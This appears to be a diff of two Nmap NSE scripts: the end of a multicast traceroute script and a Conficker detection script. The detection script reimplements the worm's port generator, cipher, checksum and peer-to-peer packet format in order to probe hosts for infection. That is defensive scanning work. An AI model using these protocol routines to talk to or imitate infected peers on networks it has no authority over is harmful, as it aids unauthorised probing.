local firsthop = stdnse.get_script_args(SCRIPT_NAME .. ".firsthop") or "224.0.0.2" local firsthop = stdnse.get_script_args(SCRIPT_NAME .. ".firsthop") or "224.0.0.2"
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout")) local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
local responses = {} local responses = {}
timeout = (timeout or 7) * 1000 timeout = (timeout or 7) * 1000
-- Source address from which to traceroute -- Source address from which to traceroute
if not fromip then if not fromip then
stdnse.print_verbose("%s: A source IP must be provided through fromip argument.", SCRIPT_NAME) stdnse.print_verbose("%s: A source IP must be provided through fromip argument.", SCRIPT_NAME)
return return
end end
-- Get network interface to use -- Get network interface to use
local interface = nmap.get_interface() local interface = nmap.get_interface()
if interface then if interface then
interface = nmap.get_interface_info(interface) interface = nmap.get_interface_info(interface)
else else
interface = getInterface(firsthop) interface = getInterface(firsthop)
end end
if not interface then if not interface then
return ("\n ERROR: Couldn't get interface for %s"):format(firsthop) return ("\n ERROR: Couldn't get interface for %s"):format(firsthop)
end end
-- Destination defaults to our own host -- Destination defaults to our own host
toip = toip or interface.address toip = toip or interface.address
stdnse.print_debug("%s: Traceroute group %s from %s to %s.", SCRIPT_NAME, group, fromip, toip) stdnse.print_debug("%s: Traceroute group %s from %s to %s.", SCRIPT_NAME, group, fromip, toip)
stdnse.print_debug("%s: will send to %s via %s interface.", SCRIPT_NAME, firsthop, interface.shortname) stdnse.print_debug("%s: will send to %s via %s interface.", SCRIPT_NAME, firsthop, interface.shortname)
-- Thread that listens for responses -- Thread that listens for responses
stdnse.new_thread(traceListener, interface, timeout, responses) stdnse.new_thread(traceListener, interface, timeout, responses)
-- Send request after small wait to let Listener start -- Send request after small wait to let Listener start
stdnse.sleep(0.1) stdnse.sleep(0.1)
local trace_raw = traceRaw(fromip, toip, group, interface.address) local trace_raw = traceRaw(fromip, toip, group, interface.address)
traceSend(interface, firsthop, trace_raw) traceSend(interface, firsthop, trace_raw)
local condvar = nmap.condvar(responses) local condvar = nmap.condvar(responses)
condvar("wait") condvar("wait")
if #responses > 0 then if #responses > 0 then
local outresp local outresp
local output, outblock = {} local output, outblock = {}
table.insert(output, ("Group %s from %s to %s"):format(group, fromip, toip)) table.insert(output, ("Group %s from %s to %s"):format(group, fromip, toip))
for _, response in pairs(responses) do for _, response in pairs(responses) do
outresp = {} outresp = {}
outresp.name = "Source: " .. response.srcip outresp.name = "Source: " .. response.srcip
for _, block in pairs(response.blocks) do for _, block in pairs(response.blocks) do
outblock = {} outblock = {}
outblock.name = "In address: " .. block.inaddr outblock.name = "In address: " .. block.inaddr
table.insert(outblock, "Out address: " .. block.outaddr) table.insert(outblock, "Out address: " .. block.outaddr)
-- Protocol -- Protocol
if PROTO[block.proto] then if PROTO[block.proto] then
table.insert(outblock, "Protocol: " .. PROTO[block.proto]) table.insert(outblock, "Protocol: " .. PROTO[block.proto])
else else
table.insert(outblock, "Protocol: Unknown") table.insert(outblock, "Protocol: Unknown")
end end
-- Error Code, we ignore NO_ERROR which is the normal case. -- Error Code, we ignore NO_ERROR which is the normal case.
if FWD_CODE[block.code] and block.code ~= 0x00 then if FWD_CODE[block.code] and block.code ~= 0x00 then
table.insert(outblock, "Error code: " .. FWD_CODE[block.code]) table.insert(outblock, "Error code: " .. FWD_CODE[block.code])
elseif block.code ~= 0x00 then elseif block.code ~= 0x00 then
table.insert(outblock, "Error code: Unknown") table.insert(outblock, "Error code: Unknown")
end end
table.insert(outresp, outblock) table.insert(outresp, outblock)
end end
table.insert(output, outresp) table.insert(output, outresp)
end
return stdnse.format_output(true, output)
end end
return stdnse.format_output(true, output)
end
end end

View File

@@ -89,31 +89,31 @@ local MAX_PACKET = 0x2000
-- Flags -- Flags
local mode_flags = local mode_flags =
{ {
FLAG_MODE = bit.lshift(1, 0), FLAG_MODE = bit.lshift(1, 0),
FLAG_LOCAL_ACK = bit.lshift(1, 1), FLAG_LOCAL_ACK = bit.lshift(1, 1),
FLAG_IS_TCP = bit.lshift(1, 2), FLAG_IS_TCP = bit.lshift(1, 2),
FLAG_IP_INCLUDED = bit.lshift(1, 3), FLAG_IP_INCLUDED = bit.lshift(1, 3),
FLAG_UNKNOWN0_INCLUDED = bit.lshift(1, 4), FLAG_UNKNOWN0_INCLUDED = bit.lshift(1, 4),
FLAG_UNKNOWN1_INCLUDED = bit.lshift(1, 5), FLAG_UNKNOWN1_INCLUDED = bit.lshift(1, 5),
FLAG_DATA_INCLUDED = bit.lshift(1, 6), FLAG_DATA_INCLUDED = bit.lshift(1, 6),
FLAG_SYSINFO_INCLUDED = bit.lshift(1, 7), FLAG_SYSINFO_INCLUDED = bit.lshift(1, 7),
FLAG_ENCODED = bit.lshift(1, 15) FLAG_ENCODED = bit.lshift(1, 15)
} }
---For a hostrule, simply use the 'smb' ports as an indicator, unless the user overrides it ---For a hostrule, simply use the 'smb' ports as an indicator, unless the user overrides it
hostrule = function(host) hostrule = function(host)
if ( nmap.address_family() ~= 'inet' ) then if ( nmap.address_family() ~= 'inet' ) then
return false return false
end end
if(smb.get_port(host) ~= nil) then if(smb.get_port(host) ~= nil) then
return true return true
elseif(nmap.registry.args.checkall == "true" or nmap.registry.args.checkall == "1") then elseif(nmap.registry.args.checkall == "true" or nmap.registry.args.checkall == "1") then
return true return true
elseif(nmap.registry.args.checkconficker == "true" or nmap.registry.args.checkconficker == "1") then elseif(nmap.registry.args.checkconficker == "true" or nmap.registry.args.checkconficker == "1") then
return true return true
end end
return false return false
end end
-- Multiply two 32-bit integers and return a 64-bit product. The first return -- Multiply two 32-bit integers and return a 64-bit product. The first return
@@ -124,21 +124,21 @@ end
--@param v Second number (0 <= v <= 0xFFFFFFFF) --@param v Second number (0 <= v <= 0xFFFFFFFF)
--@return 64-bit product of u*v, as a pair of 32-bit integers. --@return 64-bit product of u*v, as a pair of 32-bit integers.
local function mul64(u, v) local function mul64(u, v)
-- This is based on formula (2) from section 4.3.3 of The Art of -- This is based on formula (2) from section 4.3.3 of The Art of
-- Computer Programming. We split u and v into upper and lower 16-bit -- Computer Programming. We split u and v into upper and lower 16-bit
-- chunks, such that -- chunks, such that
-- u = 2**16 u1 + u0 and v = 2**16 v1 + v0 -- u = 2**16 u1 + u0 and v = 2**16 v1 + v0
-- Then -- Then
-- u v = (2**16 u1 + u0) * (2**16 v1 + v0) -- u v = (2**16 u1 + u0) * (2**16 v1 + v0)
-- = 2**32 u1 v1 + 2**16 (u0 v1 + u1 v0) + u0 v0 -- = 2**32 u1 v1 + 2**16 (u0 v1 + u1 v0) + u0 v0
assert(0 <= u and u <= 0xFFFFFFFF) assert(0 <= u and u <= 0xFFFFFFFF)
assert(0 <= v and v <= 0xFFFFFFFF) assert(0 <= v and v <= 0xFFFFFFFF)
local u0, u1 = bit.band(u, 0xFFFF), bit.rshift(u, 16) local u0, u1 = bit.band(u, 0xFFFF), bit.rshift(u, 16)
local v0, v1 = bit.band(v, 0xFFFF), bit.rshift(v, 16) local v0, v1 = bit.band(v, 0xFFFF), bit.rshift(v, 16)
-- t uses at most 49 bits, which is within the range of exact integer -- t uses at most 49 bits, which is within the range of exact integer
-- precision of a Lua number. -- precision of a Lua number.
local t = u0 * v0 + (u0 * v1 + u1 * v0) * 65536 local t = u0 * v0 + (u0 * v1 + u1 * v0) * 65536
return bit.band(t, 0xFFFFFFFF), u1 * v1 + bit.rshift(t, 32) return bit.band(t, 0xFFFFFFFF), u1 * v1 + bit.rshift(t, 32)
end end
---Rotates the 64-bit integer defined by h:l left by one bit. ---Rotates the 64-bit integer defined by h:l left by one bit.
@@ -147,23 +147,23 @@ end
--@param l The low-order 32 bits --@param l The low-order 32 bits
--@return 64-bit rotated integer, as a pair of 32-bit integers. --@return 64-bit rotated integer, as a pair of 32-bit integers.
local function rot64(h, l) local function rot64(h, l)
local i local i
assert(0 <= h and h <= 0xFFFFFFFF) assert(0 <= h and h <= 0xFFFFFFFF)
assert(0 <= l and l <= 0xFFFFFFFF) assert(0 <= l and l <= 0xFFFFFFFF)
local tmp = bit.band(h, 0x80000000) -- tmp = h & 0x80000000 local tmp = bit.band(h, 0x80000000) -- tmp = h & 0x80000000
h = bit.lshift(h, 1) -- h = h << 1 h = bit.lshift(h, 1) -- h = h << 1
h = bit.bor(h, bit.rshift(l, 31)) -- h = h | (l >> 31) h = bit.bor(h, bit.rshift(l, 31)) -- h = h | (l >> 31)
l = bit.lshift(l, 1) l = bit.lshift(l, 1)
if(tmp ~= 0) then if(tmp ~= 0) then
l = bit.bor(l, 1) l = bit.bor(l, 1)
end end
h = bit.band(h, 0xFFFFFFFF) h = bit.band(h, 0xFFFFFFFF)
l = bit.band(l, 0xFFFFFFFF) l = bit.band(l, 0xFFFFFFFF)
return h, l return h, l
end end
@@ -177,15 +177,15 @@ end
--@param port The port to check --@param port The port to check
--@return true if the port is blacklisted, false otherwise --@return true if the port is blacklisted, false otherwise
local function is_blacklisted_port(port) local function is_blacklisted_port(port)
local r, l local r, l
local blacklist = { 0xFFFFFFFF, 0xFFFFFFFF, 0xF0F6BFBB, 0xBB5A5FF3, 0xF3977011, 0xEB67BFBF, 0x5F9BFAC8, 0x34D88091, 0x1E2282DF, 0x573402C4, 0xC0000084, 0x03000209, 0x01600002, 0x00005000, 0x801000C0, 0x00500040, 0x000000A1, 0x01000000, 0x01000000, 0x00022A20, 0x00000080, 0x04000000, 0x40020000, 0x88000000, 0x00000180, 0x00081000, 0x08801900, 0x00800B81, 0x00000280, 0x080002C0, 0x00A80000, 0x00008000, 0x00100040, 0x00100000, 0x00000000, 0x00000000, 0x10000008, 0x00000000, 0x00000000, 0x00000004, 0x00000002, 0x00000000, 0x00040000, 0x00000000, 0x00000000, 0x00000000, 0x00410000, 0x82000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000008, 0x80000000, }; local blacklist = { 0xFFFFFFFF, 0xFFFFFFFF, 0xF0F6BFBB, 0xBB5A5FF3, 0xF3977011, 0xEB67BFBF, 0x5F9BFAC8, 0x34D88091, 0x1E2282DF, 0x573402C4, 0xC0000084, 0x03000209, 0x01600002, 0x00005000, 0x801000C0, 0x00500040, 0x000000A1, 0x01000000, 0x01000000, 0x00022A20, 0x00000080, 0x04000000, 0x40020000, 0x88000000, 0x00000180, 0x00081000, 0x08801900, 0x00800B81, 0x00000280, 0x080002C0, 0x00A80000, 0x00008000, 0x00100040, 0x00100000, 0x00000000, 0x00000000, 0x10000008, 0x00000000, 0x00000000, 0x00000004, 0x00000002, 0x00000000, 0x00040000, 0x00000000, 0x00000000, 0x00000000, 0x00410000, 0x82000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000008, 0x80000000, };
r = bit.rshift(port, 5) r = bit.rshift(port, 5)
l = bit.lshift(1, bit.band(r, 0x1f)) l = bit.lshift(1, bit.band(r, 0x1f))
r = bit.rshift(r, 5) r = bit.rshift(r, 5)
return (bit.band(blacklist[r + 1], l) ~= 0) return (bit.band(blacklist[r + 1], l) ~= 0)
end end
---Generates the four random ports that Conficker uses, based on the current time and the IP address. ---Generates the four random ports that Conficker uses, based on the current time and the IP address.
@@ -194,57 +194,57 @@ end
--@param seed The seed, based on the time (<code>floor((time - 345600) / 604800)</code>) --@param seed The seed, based on the time (<code>floor((time - 345600) / 604800)</code>)
--@return An array of four ports; the first and third are TCP, and the second and fourth are UDP. --@return An array of four ports; the first and third are TCP, and the second and fourth are UDP.
local function prng_generate_ports(ip, seed) local function prng_generate_ports(ip, seed)
local ports = {0, 0, 0, 0} local ports = {0, 0, 0, 0}
local v1, v2 local v1, v2
local port1, port2, shift1, shift2 local port1, port2, shift1, shift2
local i local i
local magic = 0x015A4E35 local magic = 0x015A4E35
stdnse.print_debug(1, "Conficker: Generating ports based on ip (0x%08x) and seed (%d)", ip, seed) stdnse.print_debug(1, "Conficker: Generating ports based on ip (0x%08x) and seed (%d)", ip, seed)
v1 = -(ip + 1) v1 = -(ip + 1)
repeat repeat
-- Loop 10 times to generate the first pair of ports -- Loop 10 times to generate the first pair of ports
for i = 0, 9, 1 do for i = 0, 9, 1 do
v1, v2 = mul64(bit.band(v1, 0xFFFFFFFF), bit.band(magic, 0xFFFFFFFF)) v1, v2 = mul64(bit.band(v1, 0xFFFFFFFF), bit.band(magic, 0xFFFFFFFF))
-- Add 1 to v1, handling overflows -- Add 1 to v1, handling overflows
if(v1 ~= 0xFFFFFFFF) then if(v1 ~= 0xFFFFFFFF) then
v1 = v1 + 1 v1 = v1 + 1
else else
v1 = 0 v1 = 0
v2 = v2 + 1 v2 = v2 + 1
end end
v2 = bit.rshift(v2, i) v2 = bit.rshift(v2, i)
ports[(i % 2) + 1] = bit.bxor(bit.band(v2, 0xFFFF), ports[(i % 2) + 1]) ports[(i % 2) + 1] = bit.bxor(bit.band(v2, 0xFFFF), ports[(i % 2) + 1])
end end
until(is_blacklisted_port(ports[1]) == false and is_blacklisted_port(ports[2]) == false and ports[1] ~= ports[2]) until(is_blacklisted_port(ports[1]) == false and is_blacklisted_port(ports[2]) == false and ports[1] ~= ports[2])
-- Update the accumlator with the seed -- Update the accumlator with the seed
v1 = bit.bxor(v1, seed) v1 = bit.bxor(v1, seed)
-- Loop 10 more times to generate the second pair of ports -- Loop 10 more times to generate the second pair of ports
repeat repeat
for i = 0, 9, 1 do for i = 0, 9, 1 do
v1, v2 = mul64(bit.band(v1, 0xFFFFFFFF), bit.band(magic, 0xFFFFFFFF)) v1, v2 = mul64(bit.band(v1, 0xFFFFFFFF), bit.band(magic, 0xFFFFFFFF))
-- Add 1 to v1, handling overflows -- Add 1 to v1, handling overflows
if(v1 ~= 0xFFFFFFFF) then if(v1 ~= 0xFFFFFFFF) then
v1 = v1 + 1 v1 = v1 + 1
else else
v1 = 0 v1 = 0
v2 = v2 + 1 v2 = v2 + 1
end end
v2 = bit.rshift(v2, i) v2 = bit.rshift(v2, i)
ports[(i % 2) + 3] = bit.bxor(bit.band(v2, 0xFFFF), ports[(i % 2) + 3]) ports[(i % 2) + 3] = bit.bxor(bit.band(v2, 0xFFFF), ports[(i % 2) + 3])
end end
until(is_blacklisted_port(ports[3]) == false and is_blacklisted_port(ports[4]) == false and ports[3] ~= ports[4]) until(is_blacklisted_port(ports[3]) == false and is_blacklisted_port(ports[4]) == false and ports[3] ~= ports[4])
return {ports[1], ports[2], ports[3], ports[4]} return {ports[1], ports[2], ports[3], ports[4]}
end end
---Calculate a checksum for the data. This checksum is appended to every Conficker packet before the random noise. ---Calculate a checksum for the data. This checksum is appended to every Conficker packet before the random noise.
@@ -253,24 +253,24 @@ end
--@param data The data to create a checksum for. --@param data The data to create a checksum for.
--@return An integer representing the checksum. --@return An integer representing the checksum.
local function p2p_checksum(data) local function p2p_checksum(data)
local pos, i local pos, i
local hash = #data local hash = #data
stdnse.print_debug(2, "Conficker: Calculating checksum for %d-byte buffer", #data) stdnse.print_debug(2, "Conficker: Calculating checksum for %d-byte buffer", #data)
-- Get the first character -- Get the first character
pos, i = bin.unpack("<C", data) pos, i = bin.unpack("<C", data)
while i ~= nil do while i ~= nil do
local h = bit.bxor(hash, i) local h = bit.bxor(hash, i)
-- Incorporate the current character into the checksum -- Incorporate the current character into the checksum
hash = bit.bor((h + h), bit.rshift(h, 31)) hash = bit.bor((h + h), bit.rshift(h, 31))
hash = bit.band(hash, 0xFFFFFFFF) hash = bit.band(hash, 0xFFFFFFFF)
-- Get the next character -- Get the next character
pos, i = bin.unpack("<C", data, pos) pos, i = bin.unpack("<C", data, pos)
end end
return hash return hash
end end
---Encrypt/decrypt the buffer with a simple xor-based symmetric encryption. It uses a 64-bit key, represented ---Encrypt/decrypt the buffer with a simple xor-based symmetric encryption. It uses a 64-bit key, represented
@@ -282,30 +282,30 @@ end
--@param key2 The high-order 32 bits in the key. --@param key2 The high-order 32 bits in the key.
--@return The encrypted (or decrypted) data. --@return The encrypted (or decrypted) data.
local function p2p_cipher(packet, key1, key2) local function p2p_cipher(packet, key1, key2)
local i local i
local buf = "" local buf = ""
for i = 1, #packet, 1 do for i = 1, #packet, 1 do
-- Do a 64-bit rotate on key1:key2 -- Do a 64-bit rotate on key1:key2
key2, key1 = rot64(key2, key1) key2, key1 = rot64(key2, key1)
-- Generate the key (the right-most byte) -- Generate the key (the right-most byte)
local k = bit.band(key1, 0x0FF) local k = bit.band(key1, 0x0FF)
-- Xor the current character and add it to the encrypted buffer -- Xor the current character and add it to the encrypted buffer
buf = buf .. string.char(bit.bxor(string.byte(packet, i), k)) buf = buf .. string.char(bit.bxor(string.byte(packet, i), k))
-- Update the key with 'k' -- Update the key with 'k'
key1 = key1 + k key1 = key1 + k
if(key1 > 0xFFFFFFFF) then if(key1 > 0xFFFFFFFF) then
-- Handle overflows -- Handle overflows
key2 = key2 + (bit.rshift(key1, 32)) key2 = key2 + (bit.rshift(key1, 32))
key2 = bit.band(key2, 0xFFFFFFFF) key2 = bit.band(key2, 0xFFFFFFFF)
key1 = bit.band(key1, 0xFFFFFFFF) key1 = bit.band(key1, 0xFFFFFFFF)
end end
end end
return buf return buf
end end
---Decrypt the packet, verify it, and parse it. This function will fail with an error if the packet can't be ---Decrypt the packet, verify it, and parse it. This function will fail with an error if the packet can't be
@@ -317,96 +317,96 @@ end
--@return (status, result) If status is true, result is a table (including 'hash' and 'real_hash'). If status --@return (status, result) If status is true, result is a table (including 'hash' and 'real_hash'). If status
-- is false, result is a string that indicates why the parse failed. -- is false, result is a string that indicates why the parse failed.
function p2p_parse(packet) function p2p_parse(packet)
local pos = 1 local pos = 1
local data = {} local data = {}
-- Get the key -- Get the key
pos, data['key1'], data['key2'] = bin.unpack("<II", packet, pos) pos, data['key1'], data['key2'] = bin.unpack("<II", packet, pos)
if(data['key2'] == nil) then if(data['key2'] == nil) then
return false, "Packet was too short [1]" return false, "Packet was too short [1]"
end end
-- Decrypt the second half of the packet using the key -- Decrypt the second half of the packet using the key
packet = string.sub(packet, 1, pos - 1) .. p2p_cipher(string.sub(packet, pos), data['key1'], data['key2']) packet = string.sub(packet, 1, pos - 1) .. p2p_cipher(string.sub(packet, pos), data['key1'], data['key2'])
-- Parse the flags -- Parse the flags
pos, data['flags'] = bin.unpack("<S", packet, pos) pos, data['flags'] = bin.unpack("<S", packet, pos)
if(data['flags'] == nil) then if(data['flags'] == nil) then
return false, "Packet was too short [2]" return false, "Packet was too short [2]"
end end
-- Get the IP, if it's present -- Get the IP, if it's present
if(bit.band(data['flags'], mode_flags.FLAG_IP_INCLUDED) ~= 0) then if(bit.band(data['flags'], mode_flags.FLAG_IP_INCLUDED) ~= 0) then
pos, data['ip'], data['port'] = bin.unpack("<IS", packet, pos) pos, data['ip'], data['port'] = bin.unpack("<IS", packet, pos)
if(data['ip'] == nil) then if(data['ip'] == nil) then
return false, "Packet was too short [3]" return false, "Packet was too short [3]"
end end
end end
-- Read the first unknown value, if present -- Read the first unknown value, if present
if(bit.band(data['flags'], mode_flags.FLAG_UNKNOWN0_INCLUDED) ~= 0) then if(bit.band(data['flags'], mode_flags.FLAG_UNKNOWN0_INCLUDED) ~= 0) then
pos, data['unknown0'] = bin.unpack("<I", packet, pos) pos, data['unknown0'] = bin.unpack("<I", packet, pos)
if(data['unknown0'] == nil) then if(data['unknown0'] == nil) then
return false, "Packet was too short [3]" return false, "Packet was too short [3]"
end end
end end
-- Read the second unknown value, if present -- Read the second unknown value, if present
if(bit.band(data['flags'], mode_flags.FLAG_UNKNOWN1_INCLUDED) ~= 0) then if(bit.band(data['flags'], mode_flags.FLAG_UNKNOWN1_INCLUDED) ~= 0) then
pos, data['unknown1'] = bin.unpack("<I", packet, pos) pos, data['unknown1'] = bin.unpack("<I", packet, pos)
if(data['unknown1'] == nil) then if(data['unknown1'] == nil) then
return false, "Packet was too short [4]" return false, "Packet was too short [4]"
end end
end end
-- Read the data, if present -- Read the data, if present
if(bit.band(data['flags'], mode_flags.FLAG_DATA_INCLUDED) ~= 0) then if(bit.band(data['flags'], mode_flags.FLAG_DATA_INCLUDED) ~= 0) then
pos, data['data_flags'], data['data_length'] = bin.unpack("<CS", packet, pos) pos, data['data_flags'], data['data_length'] = bin.unpack("<CS", packet, pos)
if(data['data_length'] == nil) then if(data['data_length'] == nil) then
return false, "Packet was too short [5]" return false, "Packet was too short [5]"
end end
pos, data['data'] = bin.unpack(string.format("A%d", data['data_length']), packet, pos) pos, data['data'] = bin.unpack(string.format("A%d", data['data_length']), packet, pos)
if(data['data'] == nil) then if(data['data'] == nil) then
return false, "Packet was too short [6]" return false, "Packet was too short [6]"
end end
end end
-- Read the sysinfo, if present -- Read the sysinfo, if present
if(bit.band(data['flags'], mode_flags.FLAG_SYSINFO_INCLUDED) ~= 0) then if(bit.band(data['flags'], mode_flags.FLAG_SYSINFO_INCLUDED) ~= 0) then
pos, data['sysinfo_systemtestflags'], pos, data['sysinfo_systemtestflags'],
data['sysinfo_os_major'], data['sysinfo_os_major'],
data['sysinfo_os_minor'], data['sysinfo_os_minor'],
data['sysinfo_os_build'], data['sysinfo_os_build'],
data['sysinfo_os_servicepack_major'], data['sysinfo_os_servicepack_major'],
data['sysinfo_os_servicepack_minor'], data['sysinfo_os_servicepack_minor'],
data['sysinfo_ntdll_translation_file_information'], data['sysinfo_ntdll_translation_file_information'],
data['sysinfo_prng_sample'], data['sysinfo_prng_sample'],
data['sysinfo_unknown0'], data['sysinfo_unknown0'],
data['sysinfo_unknown1'], data['sysinfo_unknown1'],
data['sysinfo_unknown2'], data['sysinfo_unknown2'],
data['sysinfo_unknown3'], data['sysinfo_unknown3'],
data['sysinfo_unknown4'] = bin.unpack("<SCCSCCSISSISS", packet, pos) data['sysinfo_unknown4'] = bin.unpack("<SCCSCCSISSISS", packet, pos)
if(data['sysinfo_unknown4'] == nil) then if(data['sysinfo_unknown4'] == nil) then
return false, "Packet was too short [7]" return false, "Packet was too short [7]"
end end
end end
-- Pull out the data that's used in the hash -- Pull out the data that's used in the hash
data['hash_data'] = string.sub(packet, 1, pos - 1) data['hash_data'] = string.sub(packet, 1, pos - 1)
-- Read the hash -- Read the hash
pos, data['hash'] = bin.unpack("<I", packet, pos) pos, data['hash'] = bin.unpack("<I", packet, pos)
if(data['hash'] == nil) then if(data['hash'] == nil) then
return false, "Packet was too short [8]" return false, "Packet was too short [8]"
end end
-- Record the noise -- Record the noise
data['noise'] = string.sub(packet, pos) data['noise'] = string.sub(packet, pos)
-- Generate the actual hash (we're going to ignore it for now, but it can be checked higher up) -- Generate the actual hash (we're going to ignore it for now, but it can be checked higher up)
data['real_hash'] = p2p_checksum(data['hash_data']) data['real_hash'] = p2p_checksum(data['hash_data'])
return true, data return true, data
end end
---Create a peer to peer packet for the given protocol. ---Create a peer to peer packet for the given protocol.
@@ -416,46 +416,46 @@ end
--@param do_encryption (optional) If set to false, packets aren't encrypted (the key '0' is used). Useful --@param do_encryption (optional) If set to false, packets aren't encrypted (the key '0' is used). Useful
-- for testing. Default: true. -- for testing. Default: true.
local function p2p_create_packet(protocol, do_encryption) local function p2p_create_packet(protocol, do_encryption)
assert(protocol == "tcp" or protocol == "udp") assert(protocol == "tcp" or protocol == "udp")
local key1 = math.random(1, 0x7FFFFFFF) local key1 = math.random(1, 0x7FFFFFFF)
local key2 = math.random(1, 0x7FFFFFFF) local key2 = math.random(1, 0x7FFFFFFF)
-- A key of 0 disables the encryption -- A key of 0 disables the encryption
if(do_encryption == false) then if(do_encryption == false) then
key1 = 0 key1 = 0
key2 = 0 key2 = 0
end end
local flags = 0 local flags = 0
-- Set a couple flags that we need (we don't send any optional data) -- Set a couple flags that we need (we don't send any optional data)
flags = bit.bor(flags, mode_flags.FLAG_MODE) flags = bit.bor(flags, mode_flags.FLAG_MODE)
flags = bit.bor(flags, mode_flags.FLAG_ENCODED) flags = bit.bor(flags, mode_flags.FLAG_ENCODED)
-- flags = bit.bor(flags, mode_flags.FLAG_LOCAL_ACK) -- flags = bit.bor(flags, mode_flags.FLAG_LOCAL_ACK)
-- Set the special TCP flag -- Set the special TCP flag
if(protocol == "tcp") then if(protocol == "tcp") then
flags = bit.bor(flags, mode_flags.FLAG_IS_TCP) flags = bit.bor(flags, mode_flags.FLAG_IS_TCP)
end end
-- Add the key and flags that are always present (and skip over the boring stuff) -- Add the key and flags that are always present (and skip over the boring stuff)
local packet = "" local packet = ""
packet = packet .. bin.pack("<II", key1, key2) packet = packet .. bin.pack("<II", key1, key2)
packet = packet .. bin.pack("<S", flags) packet = packet .. bin.pack("<S", flags)
-- Generate the checksum for the packet -- Generate the checksum for the packet
local hash = p2p_checksum(packet) local hash = p2p_checksum(packet)
packet = packet .. bin.pack("<I", hash) packet = packet .. bin.pack("<I", hash)
-- Encrypt the full packet, except for the key and optional length -- Encrypt the full packet, except for the key and optional length
packet = string.sub(packet, 1, 8) .. p2p_cipher(string.sub(packet, 9), key1, key2) packet = string.sub(packet, 1, 8) .. p2p_cipher(string.sub(packet, 9), key1, key2)
-- Add the length in front if it's TCP -- Add the length in front if it's TCP
if(protocol == "tcp") then if(protocol == "tcp") then
packet = bin.pack("<SA", #packet, packet) packet = bin.pack("<SA", #packet, packet)
end end
return true, packet return true, packet
end end
---Checks if conficker is present on the given port/protocol. The ports Conficker uses are fairly standard, so ---Checks if conficker is present on the given port/protocol. The ports Conficker uses are fairly standard, so
@@ -467,171 +467,171 @@ end
-- Conficker, <code>false</code> = no Conficker). If status is true, data is the table of information returned by -- Conficker, <code>false</code> = no Conficker). If status is true, data is the table of information returned by
-- Conficker. -- Conficker.
local function conficker_check(ip, port, protocol) local function conficker_check(ip, port, protocol)
local status, packet local status, packet
local socket local socket
local response local response
status, packet = p2p_create_packet(protocol) status, packet = p2p_create_packet(protocol)
if(status == false) then if(status == false) then
return false, packet return false, packet
end end
-- Try to connect to the first socket -- Try to connect to the first socket
socket = nmap.new_socket() socket = nmap.new_socket()
socket:set_timeout(5000) socket:set_timeout(5000)
status, response = socket:connect(ip, port, protocol) status, response = socket:connect(ip, port, protocol)
if(status == false) then if(status == false) then
return false, "Couldn't establish connection (" .. response .. ")" return false, "Couldn't establish connection (" .. response .. ")"
end end
-- Send the packet -- Send the packet
socket:send(packet) socket:send(packet)
-- Read a response (2 bytes minimum, because that's the TCP length) -- Read a response (2 bytes minimum, because that's the TCP length)
status, response = socket:receive_bytes(2) status, response = socket:receive_bytes(2)
if(status == false) then if(status == false) then
return false, "Couldn't receive bytes: " .. response return false, "Couldn't receive bytes: " .. response
elseif(response == "ERROR") then elseif(response == "ERROR") then
return false, "Failed to receive data" return false, "Failed to receive data"
elseif(response == "TIMEOUT") then elseif(response == "TIMEOUT") then
return false, "Timeout" return false, "Timeout"
elseif(response == "EOF") then elseif(response == "EOF") then
return false, "Couldn't connect" return false, "Couldn't connect"
end end
-- If it's TCP, get the length and make sure we have the full packet -- If it's TCP, get the length and make sure we have the full packet
if(protocol == "tcp") then if(protocol == "tcp") then
local _, length = bin.unpack("<S", response, 1) local _, length = bin.unpack("<S", response, 1)
while length > (#response - 2) do while length > (#response - 2) do
local response2 local response2
status, response2 = socket:receive_bytes(2) status, response2 = socket:receive_bytes(2)
if(status == false) then if(status == false) then
return false, "Couldn't receive bytes: " .. response2 return false, "Couldn't receive bytes: " .. response2
elseif(response2 == "ERROR") then elseif(response2 == "ERROR") then
return false, "Failed to receive data" return false, "Failed to receive data"
elseif(response2 == "TIMEOUT") then elseif(response2 == "TIMEOUT") then
return false, "Timeout" return false, "Timeout"
elseif(response2 == "EOF") then elseif(response2 == "EOF") then
return false, "Couldn't connect" return false, "Couldn't connect"
end end
response = response .. response2 response = response .. response2
end end
-- Remove the 'length' bytes -- Remove the 'length' bytes
response = string.sub(response, 3) response = string.sub(response, 3)
end end
-- Close the socket -- Close the socket
socket:close() socket:close()
local status, result = p2p_parse(response) local status, result = p2p_parse(response)
if(status == false) then if(status == false) then
return false, "Data received, but wasn't Conficker data: " .. result return false, "Data received, but wasn't Conficker data: " .. result
end end
if(result['hash'] ~= result['real_hash']) then if(result['hash'] ~= result['real_hash']) then
return false, "Data received, but checksum was invalid (possibly INFECTED)" return false, "Data received, but checksum was invalid (possibly INFECTED)"
end end
return true, "Received valid data", result return true, "Received valid data", result
end end
action = function(host) action = function(host)
local tcp_ports = {} local tcp_ports = {}
local udp_ports = {} local udp_ports = {}
local response = {} local response = {}
local i local i
local port, protocol local port, protocol
local count = 0 local count = 0
local checks = 0 local checks = 0
-- Generate a complete list of valid ports -- Generate a complete list of valid ports
if(nmap.registry.args.checkall == "true" or nmap.registry.args.checkall == "1") then if(nmap.registry.args.checkall == "true" or nmap.registry.args.checkall == "1") then
for i = 1, 65535, 1 do for i = 1, 65535, 1 do
if(not(is_blacklisted_port(i))) then if(not(is_blacklisted_port(i))) then
local tcp = nmap.get_port_state(host, {number=i, protocol="tcp"}) local tcp = nmap.get_port_state(host, {number=i, protocol="tcp"})
if(tcp ~= nil and tcp.state == "open") then if(tcp ~= nil and tcp.state == "open") then
tcp_ports[i] = true tcp_ports[i] = true
end end
local udp = nmap.get_port_state(host, {number=i, protocol="udp"}) local udp = nmap.get_port_state(host, {number=i, protocol="udp"})
if(udp ~= nil and (udp.state == "open" or udp.state == "open|filtered")) then if(udp ~= nil and (udp.state == "open" or udp.state == "open|filtered")) then
udp_ports[i] = true udp_ports[i] = true
end end
end end
end end
end end
-- Generate ports based on the ip and time -- Generate ports based on the ip and time
